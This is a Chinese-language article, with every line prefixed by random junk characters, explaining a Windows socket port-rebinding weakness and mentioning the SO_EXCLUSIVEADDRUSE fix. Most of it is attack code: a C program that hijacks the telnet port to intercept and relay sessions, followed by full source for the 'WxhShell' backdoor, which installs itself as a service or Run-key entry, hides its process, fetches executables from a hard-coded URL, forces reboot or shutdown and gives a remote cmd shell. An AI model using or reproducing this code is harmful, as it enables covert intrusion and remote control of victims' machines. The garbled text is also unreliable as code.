在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iea7*]vW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
eih~ SBSH 4lF?s\W: saddr.sin_family = AF_INET;
Mp`i@pm+ aX(Y
`g)| saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D=!5l4 rsC^Re:*jr bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$|!@$A j 7&
G#&d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?M@ff0 :,FI 6` 这意味着什么?意味着可以进行如下的攻击:
3`DwKv`+ z)]Br1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qb7ur; v[=TPfX0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|s*tRag YV/JZc f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ub=Bz1._ zUd{9B$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
V75P@jv5J E|hW{ oX3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Qwu~{tf+' h(3ko
An 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"o>gX'm* =@0/.oSD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\} +b_J6- .z&,d&E #include
! )PV-[2 #include
\N"=qw^ t #include
LKe~ #include
^%~ux0%^T DWORD WINAPI ClientThread(LPVOID lpParam);
eJtfQ@? int main()
rk .tLk {
Ob>M]udn WORD wVersionRequested;
;$$.L
bb8 DWORD ret;
8S*W+l19f WSADATA wsaData;
c6f[^Q%#j BOOL val;
vK~tgZ& SOCKADDR_IN saddr;
}KCb5_MDF SOCKADDR_IN scaddr;
S67>yqha int err;
fPu,@
L
SOCKET s;
,CA3Q.y>| SOCKET sc;
w.6 Gp;O int caddsize;
NoG`J$D HANDLE mt;
-P7JaH/Q DWORD tid;
ej&ZE
n wVersionRequested = MAKEWORD( 2, 2 );
Xj(" err = WSAStartup( wVersionRequested, &wsaData );
5zR9N>!c if ( err != 0 ) {
F F7 printf("error!WSAStartup failed!\n");
!%s&GD8&l return -1;
S@PAtB5 }
huw|J<$ saddr.sin_family = AF_INET;
pz]#/Ry? J_ S]jE{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:*MqYny& ?cdjQ@j~h saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&]mZp& saddr.sin_port = htons(23);
$^;b
1bnO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_yJAn\ {
ui$JQ _P printf("error!socket failed!\n");
?YTngIa return -1;
ap[{`u }
j9G1
_ val = TRUE;
GN%|'eU //SO_REUSEADDR选项就是可以实现端口重绑定的
38Bh9>c3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
DsZBhjCB {
a= *qsgPGL printf("error!setsockopt failed!\n");
pk,]yi,ZF return -1;
,]UCq?YW)T }
3Sb'){.MT+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,
e6}p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]-b`uYb //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Q7vTTn\ X[{tD# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
cun&'JOH?U {
[ijK~ ret=GetLastError();
/degBL+ printf("error!bind failed!\n");
C+=8?u< return -1;
S"wn0B$" }
.3JLa8y listen(s,2);
xOAA1# while(1)
~$\9T.tre2 {
;5(ptXX1W caddsize = sizeof(scaddr);
FhkS"y //接受连接请求
2y0J~P! I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$x'p+&n\ if(sc!=INVALID_SOCKET)
[hl8LP+~ {
-lNq.pp3-$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
tB i16= if(mt==NULL)
wmQT$`$b {
5i42o+' printf("Thread Creat Failed!\n");
i G%h- break;
Cj6+zJ }
+4Uxq{.K }
Z:2a_Atm CloseHandle(mt);
2iJ)K rw }
`$5 QTte closesocket(s);
:g`j
gn0 WSACleanup();
][IEzeI_LN return 0;
fd<a%nSD }
CC<(V{Png DWORD WINAPI ClientThread(LPVOID lpParam)
ZWH9E.uj {
Jiv%Opo/| SOCKET ss = (SOCKET)lpParam;
#rkz:ir4 SOCKET sc;
2Vn~o_ga unsigned char buf[4096];
+=Q/'g
SOCKADDR_IN saddr;
>ARZ=x[ long num;
+KzbaBK DWORD val;
XFiP8aX< DWORD ret;
-J<{NF //如果是隐藏端口应用的话,可以在此处加一些判断
ev}ugRxt|k //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&eqeQD6 saddr.sin_family = AF_INET;
E9"P~ nz saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vTdJe saddr.sin_port = htons(23);
3?+CP-T-j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6(5YvT {
N#Y|MfLc printf("error!socket failed!\n");
`3C dW return -1;
[7btoo|P] }
OrJuE[R. val = 100;
Tt.#O~2:9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Zr%,F[j? {
<V~B8C!) ret = GetLastError();
oY K(=j return -1;
~Gz
b^ }
Uf
?._&: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H`:2J8 {
z{N~AaY ret = GetLastError();
-szSA return -1;
,L.*95, }
@> ]O6P2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;;zQV D )X {
5S
EyAhB printf("error!socket connect failed!\n");
;
m]KKB closesocket(sc);
,Y\`n7Ww closesocket(ss);
+'lj\_n return -1;
O_kBAC-|R( }
26&$vgO~: while(1)
oE
H""Bd {
9[5qN!P;y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}^@Q9<P^E //如果是嗅探内容的话,可以再此处进行内容分析和记录
iaAj|: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
IOjp'6Yr num = recv(ss,buf,4096,0);
5x=aJl;G if(num>0)
@5rl;C send(sc,buf,num,0);
s
IE2a0+ else if(num==0)
;Eer break;
6VsgZ"Il num = recv(sc,buf,4096,0);
x/B1\U
I if(num>0)
sT*D]J
2 send(ss,buf,num,0);
:"~SKJm else if(num==0)
S /kM# break;
sgGXj7 }
1LK` closesocket(ss);
EDA%qNd]j closesocket(sc);
z[0+9=<Y return 0 ;
<0w"$.K#3 }
cR*5iqA @BfJb[A# :< d. ==========================================================
l:i&l?>_ RnaxRnXVR 下边附上一个代码,,WXhSHELL
Tx19\\r ;K$ !c5 ==========================================================
Mxmo}tt ev'` K=n8 #include "stdafx.h"
VK]cZ%) 5{"v/nXV #include <stdio.h>
l+vD`aJ 3 #include <string.h>
:Rftn6! #include <windows.h>
e2><Y< #include <winsock2.h>
GGQ%/i]: #include <winsvc.h>
[qL{w&R #include <urlmon.h>
~Oc:b>~ b4R;#rm #pragma comment (lib, "Ws2_32.lib")
3 i;sB #pragma comment (lib, "urlmon.lib")
y v58~w*" x@)G@'vV| #define MAX_USER 100 // 最大客户端连接数
u^4$<fd #define BUF_SOCK 200 // sock buffer
(2J\o #define KEY_BUFF 255 // 输入 buffer
JqmxS*_P +v.<Fw2k# #define REBOOT 0 // 重启
]<xzCPB #define SHUTDOWN 1 // 关机
B@ xjwBUk j&Trvw<t #define DEF_PORT 5000 // 监听端口
3n!f'" T x<'<E@jpU; #define REG_LEN 16 // 注册表键长度
]J(BaX4 #define SVC_LEN 80 // NT服务名长度
@PZ{( 3!u`PIQv // 从dll定义API
kdP*{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$A;%p6PO) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
F%tV^$% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~z kzuh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
gJZH??b bl3?C // wxhshell配置信息
$ o
} struct WSCFG {
MtD0e@ int ws_port; // 监听端口
Mp7X+o/ char ws_passstr[REG_LEN]; // 口令
}`~n$OVx int ws_autoins; // 安装标记, 1=yes 0=no
_yRD*2 !; char ws_regname[REG_LEN]; // 注册表键名
gWu<5Y=C char ws_svcname[REG_LEN]; // 服务名
Bc*FH>E char ws_svcdisp[SVC_LEN]; // 服务显示名
&|K9qa~)Y char ws_svcdesc[SVC_LEN]; // 服务描述信息
`6:B0-r char ws_passmsg[SVC_LEN]; // 密码输入提示信息
qI%X/' int ws_downexe; // 下载执行标记, 1=yes 0=no
Z_h-5VU- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j2RdBoCt char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ab
In\,x S0'
ACt` };
FPE%h=sw Q3I^(Ll"L // default Wxhshell configuration
2;w`W58
struct WSCFG wscfg={DEF_PORT,
`x]`<kS; "xuhuanlingzhe",
*6bO2LO" 1,
-hY@r 7y "Wxhshell",
X5tx(}j "Wxhshell",
srQGqE~ "WxhShell Service",
VTwDa*]AhB "Wrsky Windows CmdShell Service",
6dncUfB "Please Input Your Password: ",
oMNSQMlI 1,
T' > MXFLh "
http://www.wrsky.com/wxhshell.exe",
='t}d>l "Wxhshell.exe"
%XBMi~ };
Nl'@Y^8N +,1 Ea ) // 消息定义模块
n'@*RvI: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>/4N :=.h char *msg_ws_prompt="\n\r? for help\n\r#>";
]Zz.n5c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ueyQ&+6r char *msg_ws_ext="\n\rExit.";
2}n7f7[/b char *msg_ws_end="\n\rQuit.";
,
.E> char *msg_ws_boot="\n\rReboot...";
E1`TQA char *msg_ws_poff="\n\rShutdown...";
:>y;*x0w char *msg_ws_down="\n\rSave to ";
RKPX*(i~ pft-.1py char *msg_ws_err="\n\rErr!";
:Y Ki char *msg_ws_ok="\n\rOK!";
+# 3e<+!F FyQr$;r char ExeFile[MAX_PATH];
|->CI int nUser = 0;
Yi j^hs@eV HANDLE handles[MAX_USER];
hXh nJ int OsIsNt;
L|L;< Sh2BU3 SERVICE_STATUS serviceStatus;
akFT 0@9 SERVICE_STATUS_HANDLE hServiceStatusHandle;
YsMM$rjP+ s o1hC // 函数声明
*XOLuPL>6) int Install(void);
X;1yQ|su int Uninstall(void);
8'"=y}]H~ int DownloadFile(char *sURL, SOCKET wsh);
tZG l^mA"g int Boot(int flag);
N%F4ug@i void HideProc(void);
P1R5}i int GetOsVer(void);
2){O&8 A int Wxhshell(SOCKET wsl);
ob;O,&e0> void TalkWithClient(void *cs);
\U3v5|Q int CmdShell(SOCKET sock);
_G&gF.| int StartFromService(void);
jU-aa+ int StartWxhshell(LPSTR lpCmdLine);
^IKT!"J&? edo+ o{^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
R GL2S]UFs VOID WINAPI NTServiceHandler( DWORD fdwControl );
fx-8mf3 Z2t\4|wr: // 数据结构和表定义
D94bq_2} SERVICE_TABLE_ENTRY DispatchTable[] =
BwkY;Ur/AL {
Wu" 1M^a {wscfg.ws_svcname, NTServiceMain},
g4u6#.m( {NULL, NULL}
pMJm@f };
J 5(^VKj {- &`@V // 自我安装
/xSFW7d1 int Install(void)
@QMy!y_K~m {
' 55G:r39 char svExeFile[MAX_PATH];
I~;w Q HKEY key;
wn;)La strcpy(svExeFile,ExeFile);
2M*i'K;;)P "BVp37m;? // 如果是win9x系统,修改注册表设为自启动
ve+bR if(!OsIsNt) {
{a__/I>) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!TivQB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Sn0kJIb
} RegCloseKey(key);
qW`?,N)r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fwvwmZW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&)jq3 RegCloseKey(key);
_RIlGs\. return 0;
i),bAU!+m }
'J$@~P }
4l7
Ny\J }
zn>+\ else {
d@p#{ - ZS%W/.? // 如果是NT以上系统,安装为系统服务
1_b*j-j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:}yT?LIyP if (schSCManager!=0)
7{]dh+) {
d@ >i=l [ SC_HANDLE schService = CreateService
p="0Y<2l (
J?dLI_{< schSCManager,
v<t?t<|J wscfg.ws_svcname,
e_|Z& wscfg.ws_svcdisp,
)o<^6Ic%7 SERVICE_ALL_ACCESS,
KIcIYCBz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
sPG500=) SERVICE_AUTO_START,
qvLh7]sbK: SERVICE_ERROR_NORMAL,
"%)g^Atp> svExeFile,
LP=y$B NULL,
JEk'2Htx NULL,
ZSs@9ej NULL,
$C sE[+k1 NULL,
$4^SWT. NULL
%ioVNbrR7 );
yx|{:Li! if (schService!=0)
qDG2rFu&[ {
W7Y@]QMX CloseServiceHandle(schService);
ggL/7I( CloseServiceHandle(schSCManager);
/y$ Fw9R; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b*.aaOb strcat(svExeFile,wscfg.ws_svcname);
k qL.ZR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7f}uRXBV$A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8]Tv1Wc RegCloseKey(key);
J
jm={+@+ return 0;
eZ+6U`^t }
w|6/ i/X }
q"
f65d4c CloseServiceHandle(schSCManager);
vc&v+5Y }
,0a_ou"P=_ }
swxX3GR 2QRO$NieV return 1;
uDP:kM }
:SS \2 )
$_1U!z // 自我卸载
[gpO?'~ int Uninstall(void)
D;NL*4zt {
F3EAjO)ch HKEY key;
+8C}%6aX 1C8xJ 6F if(!OsIsNt) {
n."n?C'{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bY2R/FNL= RegDeleteValue(key,wscfg.ws_regname);
3i7EF. RegCloseKey(key);
y^,Q M[ & if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'.1P\>x!] RegDeleteValue(key,wscfg.ws_regname);
4"k &9+> RegCloseKey(key);
~f(5l. return 0;
IJ&Lk=2E] }
W-l+%T! }
L7Hv) }
v@soS1V! else {
AU3Rz&~ DH
yv^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9zb1t1[W if (schSCManager!=0)
mmbe.$73 {
@t~y9UfF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7;o:r$08&} if (schService!=0)
mpug#i6q {
@b,H'WvhfS if(DeleteService(schService)!=0) {
v>#Njgo CloseServiceHandle(schService);
`VKFA<T CloseServiceHandle(schSCManager);
b9RHsr]V return 0;
}q`9U!v }
C3{hf CloseServiceHandle(schService);
?a3wBy }
+7}^Y}( CloseServiceHandle(schSCManager);
rP3tFvOH }
&U7v=a }
88~Nrl=co n82tZpn return 1;
a8JAJkFB }
"t&=~eOe3 -0d9,,c // 从指定url下载文件
<7VLUk} int DownloadFile(char *sURL, SOCKET wsh)
xeSch?} {
W|m(Jh[w] HRESULT hr;
46}U+> char seps[]= "/";
AQUAQZc char *token;
BV
B2$&eJ char *file;
x[)-h/&Fh char myURL[MAX_PATH];
RJ'[m~yl5X char myFILE[MAX_PATH];
} +}nrJv xqzeBLU strcpy(myURL,sURL);
.DhI3'Jrl token=strtok(myURL,seps);
@01.Pd while(token!=NULL)
1~c\J0h)d {
Dj(PH3^ file=token;
|${4sUR token=strtok(NULL,seps);
Ze~P6 }
Uv(R^50>
22ON=NN GetCurrentDirectory(MAX_PATH,myFILE);
ZPmqoR[ strcat(myFILE, "\\");
J:N(U0U strcat(myFILE, file);
A7Ql%$v7^ send(wsh,myFILE,strlen(myFILE),0);
ICN>kJ\;M send(wsh,"...",3,0);
q*UHzE:LI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
bW6| &P}X if(hr==S_OK)
{P8d^=#q return 0;
4{YA[' else
lH4Nbluc^ return 1;
x(TF4W=j (<eLj Q }
&))d],tJX YCD|lL# // 系统电源模块
H54RA6$> int Boot(int flag)
x#EE_i/W {
KSPa2>lz? HANDLE hToken;
R.rch2 TOKEN_PRIVILEGES tkp;
_d@YLd78P ;
BN81; if(OsIsNt) {
~a([e\~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ed,A'S=d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
T/3LJGnY tkp.PrivilegeCount = 1;
L;RE5YrH%6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
lg aSIXDK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#"N60T@ if(flag==REBOOT) {
$pES>>P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
LL#REK|lm8 return 0;
_ p\L,No }
[[ie else {
GQtNk<?$I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
qLmzA@Cv return 0;
r'OqG^6JFN }
SUc%dpXZa }
UH!(`Z\C else {
W~
~' if(flag==REBOOT) {
W#F9Qw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Hh1_zd| return 0;
XGB\rfvS }
@ b!]Jw else {
.yj@hpJM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@wR3L:@ return 0;
*6/IO&y1a }
B>fZH\Y }
y0d= MT-Tt return 1;
F@u7Oel@m }
]Lub.r }3{eVct#| // win9x进程隐藏模块
m.K cTM%j void HideProc(void)
9r? Z'~,Za {
bTum|GWf #dZs[R7h HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1C<cwd;9 if ( hKernel != NULL )
CeYhn\m5K0 {
4-yK!LR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1,fR kQ
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
r^~+<" FreeLibrary(hKernel);
>5CK&6 }
zKd@Ab XDY]LAV return;
U!(.i1^n }
FgH7YkKrD 3YvKHn|V" // 获取操作系统版本
~m6=s~Vn int GetOsVer(void)
gK rUv0&F {
Z mJ<h& OSVERSIONINFO winfo;
p / ITg winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
I\Op/`_=E GetVersionEx(&winfo);
Gm|-[iUTG] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]=~dyi return 1;
4C*ywP else
''nOXl return 0;
h$02#(RHJ }
)=5&Q Pu3oQDldV // 客户端句柄模块
[~9UsHfH int Wxhshell(SOCKET wsl)
O52/fGt {
x"b'Pmw SOCKET wsh;
DG;7+2U struct sockaddr_in client;
C8-7XQ=B:b DWORD myID;
<w9~T TS cXb*d|-|N while(nUser<MAX_USER)
wEjinP$2 {
Y}ogwg& int nSize=sizeof(client);
jri"# H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!eF(WbU0 if(wsh==INVALID_SOCKET) return 1;
a:cci?cb J'%i?cuV handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
O <Rh[Aqn if(handles[nUser]==0)
`==l2AX closesocket(wsh);
XO
<0;9| else
h5P_kZJ nUser++;
;XN|dq }
K7RAmX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gQeQy 8<L{\$3HP| return 0;
L2XhrLK.| }
zy,SL
|6: Xd(^7~i // 关闭 socket
XKWq{,Ks void CloseIt(SOCKET wsh)
*{ rorir {
+bznKy! closesocket(wsh);
1=)M15 nUser--;
ZwUBeyxS=c ExitThread(0);
? "I %K% }
tl0|.Q, hE&6;3"> // 客户端请求句柄
es)^^kGj6f void TalkWithClient(void *cs)
tkj-.~@g0' {
>.
K >5FTBe[D SOCKET wsh=(SOCKET)cs;
MfL7|b) char pwd[SVC_LEN];
4#IT" i char cmd[KEY_BUFF];
1B;2 ~2X char chr[1];
-EiTP:A int i,j;
J
p?XV<3Z h.EI(Ev"GN while (nUser < MAX_USER) {
qZd*'ki< `Z;Z^c if(wscfg.ws_passstr) {
'[#y| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u9"=t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7P<VtS //ZeroMemory(pwd,KEY_BUFF);
h&'|^;FM i=0;
l'"nU6B& while(i<SVC_LEN) {
>Z!!` 0{ P73GH // 设置超时
qX@e+&4P0 fd_set FdRead;
99=~vNn struct timeval TimeOut;
NH/A`Wm FD_ZERO(&FdRead);
Tx.N#,T| FD_SET(wsh,&FdRead);
D{+@ ,C7B TimeOut.tv_sec=8;
u$d[&|`>_ TimeOut.tv_usec=0;
<\#'o} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<st<oR' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
roQI;gq^ kSz+UMC-7: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Tw-NIT) pwd
=chr[0]; WGv 47i
if(chr[0]==0xd || chr[0]==0xa) { |]< 3cW+
pwd=0; gy.UTAs
N
break; LSC[S:
} Gn2{C%
i++; m!xvWqY+
} SoU(fI[6
=Kkqk
// 如果是非法用户,关闭 socket AX v
q~XE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uyYV_Q0~;
} j.&dHtp
t(3f} ?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2_wue49-l
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e4z~
D>5)',D8xi
while(1) { z 206fF
ia5%
ZeroMemory(cmd,KEY_BUFF); vqeH<$WHvy
*p(_="J,
// 自动支持客户端 telnet标准 $}&a*c>
j=0; c]M+|R5
while(j<KEY_BUFF) { bN_e~ z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )k(K/m
cmd[j]=chr[0]; X~r9yl>
if(chr[0]==0xa || chr[0]==0xd) { LA Crg
cmd[j]=0;
o
]*yI[\
break; x {NBhq(4
} GJ%^hr`P
j++; E*YmHJ:k
} B=cA$620
Ic0Sb7c
// 下载文件 /GgID!8
if(strstr(cmd,"http://")) { <O+GXJ2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); jF?0,g
if(DownloadFile(cmd,wsh)) \*t\=4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DSLX/uo1
else 5sJ>+Rg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )h]+cGM
} 7z;2J;u`n
else { J@-'IJ
)]fiyXA
switch(cmd[0]) { zx$YNjeV
b\"F6TF:
// 帮助 WHE<E
rV%
case '?': { NMkP#s7.y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qraXAQ
break; x"z\d,O%W
} Ir JSU_
// 安装 >>{):r
Z
case 'i': { y[i}iT/~
if(Install()) c[-N A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7rdmj[vu
else Nr*l3Z>LD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
LgF?1?
break; QP'sS*saJ
} ?6_]^:s
// 卸载 h ;uzbu
case 'r': { YhH3f VM
if(Uninstall()) zbFy3-R P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E 3'I;
else Pn9".
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vo"G@W)lZ
break; "e-Y?_S7R8
} .JKH=?~\
// 显示 wxhshell 所在路径 Tt~4'{Bc
case 'p': { yP]>eLTSd
char svExeFile[MAX_PATH]; /H<{p$Wd
strcpy(svExeFile,"\n\r"); q?LOtN? o
strcat(svExeFile,ExeFile); 1`?o#w
send(wsh,svExeFile,strlen(svExeFile),0); x@Gg fH<l
break; M5VW1Ns
} ^KbR@Ah
// 重启 Vs"b
case 'b': { P.YT/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5mAb9F8@
if(Boot(REBOOT)) N_g=,E=U%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h!wq&Vi4
else { zYaFbNi
closesocket(wsh); Qb^{`
ExitThread(0); O]XRalkEM
} sNx_9pJs4
break; W7!Rf7TK
} - egTZW-
// 关机 I q|'#hs
case 'd': { ,9y6:W%5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b,Eq-Z;
if(Boot(SHUTDOWN)) +j: &_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X8tPn_`x
else { h>V6}(~;.
closesocket(wsh); l=xG<)Okb
ExitThread(0); c7+6[y DVE
} wbWC &X.
break; ll5;09
} \8#[AD*@s2
// 获取shell IS8 sJ6")
case 's': { !y@\w
CmdShell(wsh); :NLY;B`
closesocket(wsh); ?*V\
-7jg
ExitThread(0); uV gA <*0
break; FtJaX])b
} ~Y43`@3H:
// 退出 |~A*?6:@
case 'x': { S(3h{Y"#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iU+SXsXLR4
CloseIt(wsh); ir'<H<t2
break; &7'=t6
} F+Kju2
// 离开 HxK'u4I
case 'q': { 7s%D(;W_Mo
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3z0Bg
closesocket(wsh); \2u7>fU!
WSACleanup(); KF&8l/f
exit(1); 9(fh+
break; \r aP
} 8T"L'{ggWB
} G>pedE\
} (w-"1(
O=}w1]
// 提示信息 D;JZ0."
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kQU4s)J
} A23K!a2u&
} \@PMj"p|:
~V(>L=\V;
return; 8/2Wq~&
} UK
OhsE
#>_t[9;
// shell模块句柄 .;31G0<w2
int CmdShell(SOCKET sock) u"5/QB{
{ J4]"@0 ?6
STARTUPINFO si;
C2LG@iCIE
ZeroMemory(&si,sizeof(si)); iOm&(2/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3T(ft^~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -0a3eg)Z*
PROCESS_INFORMATION ProcessInfo; ;nh_L(
char cmdline[]="cmd"; ],AtR1k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); At>e4t2@
return 0; Z^]Oic/0Oa
} H5]q*D2
.+2:~%v6
// 自身启动模式 4grV2xtX
int StartFromService(void) ^XyC[ G@[
{ &7kLSb&|;
typedef struct bZSt<cH3
{ =?L16mu1&
DWORD ExitStatus; =WN8><K!
DWORD PebBaseAddress;
$o9^b
Z
DWORD AffinityMask; :hOB
DWORD BasePriority; y< gRl/e
ULONG UniqueProcessId; '3^_:E5y
